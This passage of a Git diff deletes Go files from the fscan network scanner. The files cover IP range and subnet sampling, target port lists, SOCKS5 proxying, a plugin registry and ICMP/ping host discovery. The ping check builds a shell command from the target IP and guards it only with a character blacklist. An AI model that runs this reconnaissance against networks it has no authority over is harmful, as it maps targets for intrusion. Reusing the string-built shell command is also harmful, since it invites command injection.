|
||||
// - endIP: 结束IP
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 展开后的IP地址列表
|
||||
func parseFullIPRange(startIP, endIP string) []string {
|
||||
var allIP []string
|
||||
|
||||
// 验证结束IP
|
||||
if net.ParseIP(endIP) == nil {
|
||||
LogError(GetText("invalid_ip_format", endIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 分解起始IP和结束IP
|
||||
startParts := strings.Split(startIP, ".")
|
||||
endParts := strings.Split(endIP, ".")
|
||||
|
||||
if len(startParts) != 4 || len(endParts) != 4 {
|
||||
LogError(GetText("ip_format_error", startIP+"-"+endIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 转换为整数数组
|
||||
var start, end [4]int
|
||||
for i := 0; i < 4; i++ {
|
||||
var err1, err2 error
|
||||
start[i], err1 = strconv.Atoi(startParts[i])
|
||||
end[i], err2 = strconv.Atoi(endParts[i])
|
||||
|
||||
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
|
||||
LogError(GetText("ip_format_error", startIP+"-"+endIP))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 计算IP地址的整数表示
|
||||
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
|
||||
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
|
||||
|
||||
// 检查范围的有效性
|
||||
if startInt > endInt {
|
||||
LogError(GetText("invalid_ip_range", startIP, endIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 限制IP范围的大小,防止生成过多IP导致内存问题
|
||||
if endInt-startInt > 65535 {
|
||||
LogError(GetText("ip_range_too_large", startIP, endIP))
|
||||
// 可以考虑在这里实现采样或截断策略
|
||||
}
|
||||
|
||||
// 生成IP范围
|
||||
for ipInt := startInt; ipInt <= endInt; ipInt++ {
|
||||
ip := fmt.Sprintf("%d.%d.%d.%d",
|
||||
(ipInt>>24)&0xFF,
|
||||
(ipInt>>16)&0xFF,
|
||||
(ipInt>>8)&0xFF,
|
||||
ipInt&0xFF)
|
||||
allIP = append(allIP, ip)
|
||||
}
|
||||
|
||||
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
|
||||
return allIP
|
||||
}
|
||||
|
||||
// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
|
||||
// 由于/8网段包含1600多万个IP,因此采用采样方式
|
||||
// 参数:
|
||||
// - subnet: CIDR格式的/8网段
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 采样的IP地址列表
|
||||
func parseSubnet8(subnet string) []string {
|
||||
// 去除CIDR后缀获取基础IP
|
||||
baseIP := subnet[:len(subnet)-2]
|
||||
if net.ParseIP(baseIP) == nil {
|
||||
LogError(GetText("invalid_ip_format", baseIP))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取/8网段的第一段
|
||||
firstOctet := strings.Split(baseIP, ".")[0]
|
||||
var sampleIPs []string
|
||||
|
||||
LogBase(GetText("parse_subnet", firstOctet))
|
||||
|
||||
// 预分配足够的容量以提高性能
|
||||
// 每个二级网段10个IP,共256*256个二级网段
|
||||
sampleIPs = make([]string, 0, 10)
|
||||
|
||||
// 对常用网段进行更全面的扫描
|
||||
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
|
||||
|
||||
// 对于每个选定的第二段,采样部分第三段
|
||||
for _, secondOctet := range commonSecondOctets {
|
||||
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
|
||||
// 添加常见的网关和服务器IP
|
||||
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
|
||||
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
|
||||
|
||||
// 随机采样不同范围的主机IP
|
||||
fourthOctet := randomInt(2, 253)
|
||||
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
|
||||
}
|
||||
}
|
||||
|
||||
// 对其他二级网段进行稀疏采样
|
||||
samplingStep := 32 // 每32个二级网段采样1个
|
||||
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
|
||||
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
|
||||
// 对于采样的网段,取几个代表性IP
|
||||
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
|
||||
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
|
||||
}
|
||||
}
|
||||
|
||||
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
|
||||
return sampleIPs
|
||||
}
|
||||
|
||||
// readIPFile 从文件中按行读取IP地址
|
||||
// 支持两种格式:
|
||||
// - 每行一个IP或IP范围
|
||||
// - IP:PORT 格式指定端口
|
||||
// 参数:
|
||||
// - filename: 包含IP地址的文件路径
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 解析后的IP地址列表
|
||||
// - error: 读取和解析过程中的错误
|
||||
func readIPFile(filename string) ([]string, error) {
|
||||
// 打开文件
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
LogError(GetText("open_file_failed", filename, err))
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
var ipList []string
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
// 逐行处理
|
||||
lineCount := 0
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue // 跳过空行和注释行
|
||||
}
|
||||
|
||||
lineCount++
|
||||
|
||||
// 处理IP:PORT格式
|
||||
if strings.Contains(line, ":") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) == 2 {
|
||||
// 提取端口部分,处理可能的注释
|
||||
portPart := strings.Split(parts[1], " ")[0]
|
||||
portPart = strings.Split(portPart, "#")[0]
|
||||
port, err := strconv.Atoi(portPart)
|
||||
|
||||
// 验证端口有效性
|
||||
if err != nil || port < 1 || port > 65535 {
|
||||
LogError(GetText("invalid_port", line))
|
||||
continue
|
||||
}
|
||||
|
||||
// 解析IP部分并与端口组合
|
||||
hosts := parseIPList(parts[0])
|
||||
for _, host := range hosts {
|
||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
|
||||
}
|
||||
LogBase(GetText("parse_ip_port", line))
|
||||
} else {
|
||||
LogError(GetText("invalid_ip_port_format", line))
|
||||
}
|
||||
} else {
|
||||
// 处理纯IP格式
|
||||
hosts := parseIPList(line)
|
||||
ipList = append(ipList, hosts...)
|
||||
LogBase(GetText("parse_ip_address", line))
|
||||
}
|
||||
}
|
||||
|
||||
// 检查扫描过程中的错误
|
||||
if err := scanner.Err(); err != nil {
|
||||
LogError(GetText("read_file_error", err))
|
||||
return ipList, err
|
||||
}
|
||||
|
||||
LogBase(GetText("file_parse_complete", len(ipList)))
|
||||
return ipList, nil
|
||||
}
|
||||
|
||||
// excludeHosts 从主机列表中排除指定的主机
|
||||
// 参数:
|
||||
// - hosts: 原始主机列表
|
||||
// - nohosts: 需要排除的主机列表(可选)
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 排除后的主机列表
|
||||
func excludeHosts(hosts []string, nohosts []string) []string {
|
||||
// 如果没有需要排除的主机,直接返回原列表
|
||||
if len(nohosts) == 0 || nohosts[0] == "" {
|
||||
return hosts
|
||||
}
|
||||
|
||||
// 解析排除列表
|
||||
excludeList := parseIPList(nohosts[0])
|
||||
if len(excludeList) == 0 {
|
||||
return hosts
|
||||
}
|
||||
|
||||
// 使用map存储有效主机,提高查找效率
|
||||
hostMap := make(map[string]struct{}, len(hosts))
|
||||
for _, host := range hosts {
|
||||
hostMap[host] = struct{}{}
|
||||
}
|
||||
|
||||
// 从map中删除需要排除的主机
|
||||
for _, host := range excludeList {
|
||||
delete(hostMap, host)
|
||||
}
|
||||
|
||||
// 重建主机列表
|
||||
result := make([]string, 0, len(hostMap))
|
||||
for host := range hostMap {
|
||||
result = append(result, host)
|
||||
}
|
||||
|
||||
// 排序以保持结果的稳定性
|
||||
sort.Strings(result)
|
||||
LogBase(GetText("hosts_excluded", len(excludeList)))
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// removeDuplicateIPs 去除重复的IP地址
|
||||
// 参数:
|
||||
// - ips: 包含可能重复项的IP地址列表
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 去重后的IP地址列表
|
||||
func removeDuplicateIPs(ips []string) []string {
|
||||
// 使用map去重
|
||||
ipMap := make(map[string]struct{}, len(ips))
|
||||
for _, ip := range ips {
|
||||
ipMap[ip] = struct{}{}
|
||||
}
|
||||
|
||||
// 创建结果切片并添加唯一的IP
|
||||
result := make([]string, 0, len(ipMap))
|
||||
for ip := range ipMap {
|
||||
result = append(result, ip)
|
||||
}
|
||||
|
||||
// 排序以保持结果的稳定性
|
||||
sort.Strings(result)
|
||||
return result
|
||||
}
|
||||
|
||||
// randomInt 生成指定范围内的随机整数
|
||||
// 参数:
|
||||
// - min: 最小值(包含)
|
||||
// - max: 最大值(包含)
|
||||
//
|
||||
// 返回:
|
||||
// - int: 生成的随机数
|
||||
func randomInt(min, max int) int {
|
||||
if min >= max || min < 0 || max <= 0 {
|
||||
return max
|
||||
}
|
||||
return rand.Intn(max-min+1) + min
|
||||
}
|
||||
@@ -1,93 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ParsePort 解析端口配置字符串为端口号列表
|
||||
func ParsePort(ports string) []int {
|
||||
// 预定义的端口组
|
||||
portGroups := map[string]string{
|
||||
"service": ServicePorts,
|
||||
"db": DbPorts,
|
||||
"web": WebPorts,
|
||||
"all": AllPorts,
|
||||
"main": MainPorts,
|
||||
}
|
||||
|
||||
// 检查是否匹配预定义组
|
||||
if definedPorts, exists := portGroups[ports]; exists {
|
||||
ports = definedPorts
|
||||
}
|
||||
|
||||
if ports == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
|
||||
// 处理每个端口配置
|
||||
for _, port := range slices {
|
||||
port = strings.TrimSpace(port)
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理端口范围
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
LogError(GetText("port_range_format_error", port))
|
||||
continue
|
||||
}
|
||||
|
||||
// 确保起始端口小于结束端口
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 生成端口列表
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
if i > 65535 || i < 1 {
|
||||
LogError(GetText("ignore_invalid_port", i))
|
||||
continue
|
||||
}
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
|
||||
// 去重并排序
|
||||
scanPorts = removeDuplicate(scanPorts)
|
||||
sort.Ints(scanPorts)
|
||||
|
||||
LogBase(GetText("valid_port_count", len(scanPorts)))
|
||||
return scanPorts
|
||||
}
|
||||
|
||||
// removeDuplicate 对整数切片进行去重
|
||||
func removeDuplicate(old []int) []int {
|
||||
temp := make(map[int]struct{})
|
||||
var result []int
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
|
||||
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
var AllPorts = "1-65535"
|
||||
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
|
||||
|
||||
func ParsePortsFromString(portsStr string) []int {
|
||||
var ports []int
|
||||
portStrings := strings.Split(portsStr, ",")
|
||||
for _, portStr := range portStrings {
|
||||
if port, err := strconv.Atoi(portStr); err == nil {
|
||||
ports = append(ports, port)
|
||||
}
|
||||
}
|
||||
return ports
|
||||
}
|
||||
@@ -1,78 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"golang.org/x/net/proxy"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
d := &net.Dialer{Timeout: timeout}
|
||||
return WrapperTCP(network, address, d)
|
||||
}
|
||||
|
||||
// WrapperTCP 根据配置创建TCP连接
|
||||
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
|
||||
// 直连模式
|
||||
if Socks5Proxy == "" {
|
||||
conn, err := forward.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Socks5代理模式
|
||||
dialer, err := Socks5Dialer(forward)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||
}
|
||||
|
||||
conn, err := dialer.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Socks5Dialer 创建Socks5代理拨号器
|
||||
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
|
||||
// 解析代理URL
|
||||
u, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 验证代理类型
|
||||
if strings.ToLower(u.Scheme) != "socks5" {
|
||||
return nil, errors.New(GetText("socks5_only"))
|
||||
}
|
||||
|
||||
address := u.Host
|
||||
var dialer proxy.Dialer
|
||||
|
||||
// 根据认证信息创建代理
|
||||
if u.User.String() != "" {
|
||||
// 使用用户名密码认证
|
||||
auth := proxy.Auth{
|
||||
User: u.User.Username(),
|
||||
}
|
||||
auth.Password, _ = u.User.Password()
|
||||
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
||||
} else {
|
||||
// 无认证模式
|
||||
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||
}
|
||||
|
||||
return dialer, nil
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
// Config/types.go
|
||||
package Common
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Infostr []string
|
||||
}
|
||||
|
||||
// 在 Common/const.go 中添加
|
||||
// 插件类型常量
|
||||
const (
|
||||
PluginTypeService = "service" // 服务类型插件
|
||||
PluginTypeWeb = "web" // Web类型插件
|
||||
PluginTypeLocal = "local" // 本地类型插件
|
||||
)
|
||||
|
||||
// ScanPlugin 定义扫描插件的结构
|
||||
type ScanPlugin struct {
|
||||
Name string // 插件名称
|
||||
Ports []int // 适用端口
|
||||
Types []string // 插件类型标签,一个插件可以有多个类型
|
||||
ScanFunc func(*HostInfo) error // 扫描函数
|
||||
}
|
||||
|
||||
// 添加一个用于检查插件类型的辅助方法
|
||||
func (p ScanPlugin) HasType(typeName string) bool {
|
||||
for _, t := range p.Types {
|
||||
if t == typeName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// HasPort 检查插件是否支持指定端口
|
||||
func (p *ScanPlugin) HasPort(port int) bool {
|
||||
// 如果没有指定端口列表,表示支持所有端口
|
||||
if len(p.Ports) == 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查端口是否在支持列表中
|
||||
for _, supportedPort := range p.Ports {
|
||||
if port == supportedPort {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// PluginManager 管理插件注册
|
||||
var PluginManager = make(map[string]ScanPlugin)
|
||||
|
||||
// RegisterPlugin 注册插件
|
||||
func RegisterPlugin(name string, plugin ScanPlugin) {
|
||||
PluginManager[name] = plugin
|
||||
}
|
||||
-1117
File diff suppressed because it is too large
Load Diff
-429
@@ -1,429 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
AliveHosts []string // 存活主机列表
|
||||
ExistHosts = make(map[string]struct{}) // 已发现主机记录
|
||||
livewg sync.WaitGroup // 存活检测等待组
|
||||
)
|
||||
|
||||
// CheckLive 检测主机存活状态
|
||||
func CheckLive(hostslist []string, Ping bool) []string {
|
||||
// 创建主机通道
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
|
||||
// 处理存活主机
|
||||
go handleAliveHosts(chanHosts, hostslist, Ping)
|
||||
|
||||
// 根据Ping参数选择检测方式
|
||||
if Ping {
|
||||
// 使用ping方式探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
probeWithICMP(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// 等待所有检测完成
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
|
||||
// 输出存活统计信息
|
||||
printAliveStats(hostslist)
|
||||
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
// IsContain 检查切片中是否包含指定元素
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
|
||||
// 使用Output系统保存存活主机信息
|
||||
protocol := "ICMP"
|
||||
if isPing {
|
||||
protocol = "PING"
|
||||
}
|
||||
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.HOST,
|
||||
Target: ip,
|
||||
Status: "alive",
|
||||
Details: map[string]interface{}{
|
||||
"protocol": protocol,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 保留原有的控制台输出
|
||||
if !Common.Silent {
|
||||
Common.LogInfo(Common.GetText("target_alive", ip, protocol))
|
||||
}
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}
|
||||
|
||||
// probeWithICMP 使用ICMP方式探测
|
||||
func probeWithICMP(hostslist []string, chanHosts chan string) {
|
||||
// 尝试监听本地ICMP
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(Common.GetText("icmp_listen_failed", err))
|
||||
Common.LogBase(Common.GetText("trying_no_listen_icmp"))
|
||||
|
||||
// 尝试无监听ICMP探测
|
||||
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
if err == nil {
|
||||
defer conn2.Close()
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogBase(Common.GetText("icmp_connect_failed", err))
|
||||
Common.LogBase(Common.GetText("insufficient_privileges"))
|
||||
Common.LogBase(Common.GetText("switching_to_ping"))
|
||||
|
||||
// 降级使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// printAliveStats 打印存活统计信息
|
||||
func printAliveStats(hostslist []string) {
|
||||
// 大规模扫描时输出 /16 网段统计
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
|
||||
}
|
||||
}
|
||||
|
||||
// 输出 /24 网段统计
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
|
||||
// 启动监听协程
|
||||
go func() {
|
||||
for {
|
||||
if endflag {
|
||||
return
|
||||
}
|
||||
// 接收ICMP响应
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 发送ICMP请求
|
||||
for _, host := range hostslist {
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
|
||||
// 等待响应
|
||||
start := time.Now()
|
||||
for {
|
||||
// 所有主机都已响应则退出
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
|
||||
// 根据主机数量设置超时时间
|
||||
since := time.Since(start)
|
||||
wait := time.Second * 6
|
||||
if len(hostslist) <= 256 {
|
||||
wait = time.Second * 3
|
||||
}
|
||||
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
endflag = true
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
// 控制并发数
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
|
||||
// 并发探测
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
|
||||
go func(host string) {
|
||||
defer func() {
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
// icmpalive 检测主机ICMP是否存活
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
|
||||
// 建立ICMP连接
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 构造并发送ICMP请求
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 接收ICMP响应
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// RunPing 使用系统Ping命令并发探测主机存活
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var wg sync.WaitGroup
|
||||
// 限制并发数为50
|
||||
limiter := make(chan struct{}, 50)
|
||||
|
||||
// 并发探测
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
|
||||
go func(host string) {
|
||||
defer func() {
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
if ExecCommandPing(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// ExecCommandPing 执行系统Ping命令检测主机存活
|
||||
func ExecCommandPing(ip string) bool {
|
||||
// 过滤黑名单字符
|
||||
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
|
||||
for _, char := range forbiddenChars {
|
||||
if strings.Contains(ip, char) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
var command *exec.Cmd
|
||||
// 根据操作系统选择不同的ping命令
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
|
||||
case "darwin":
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
|
||||
default: // linux
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
|
||||
}
|
||||
|
||||
// 捕获命令输出
|
||||
var outinfo bytes.Buffer
|
||||
command.Stdout = &outinfo
|
||||
|
||||
// 执行命令
|
||||
if err := command.Start(); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if err := command.Wait(); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 分析输出结果
|
||||
output := outinfo.String()
|
||||
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
|
||||
}
|
||||
|
||||
// makemsg 构造ICMP echo请求消息
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
|
||||
// 获取标识符
|
||||
id0, id1 := genIdentifier(host)
|
||||
|
||||
// 设置ICMP头部
|
||||
msg[0] = 8 // Type: Echo Request
|
||||
msg[1] = 0 // Code: 0
|
||||
msg[2] = 0 // Checksum高位(待计算)
|
||||
msg[3] = 0 // Checksum低位(待计算)
|
||||
msg[4], msg[5] = id0, id1 // Identifier
|
||||
msg[6], msg[7] = genSequence(1) // Sequence Number
|
||||
|
||||
// 计算校验和
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8) // 设置校验和高位
|
||||
msg[3] = byte(check & 255) // 设置校验和低位
|
||||
|
||||
return msg
|
||||
}
|
||||
|
||||
// checkSum 计算ICMP校验和
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
|
||||
// 按16位累加
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
|
||||
// 处理奇数长度情况
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
|
||||
// 将高16位加到低16位
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
|
||||
// 取反得到校验和
|
||||
return uint16(^sum)
|
||||
}
|
||||
|
||||
// genSequence 生成ICMP序列号
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8) // 高8位
|
||||
ret2 := byte(v & 255) // 低8位
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
// genIdentifier 根据主机地址生成标识符
|
||||
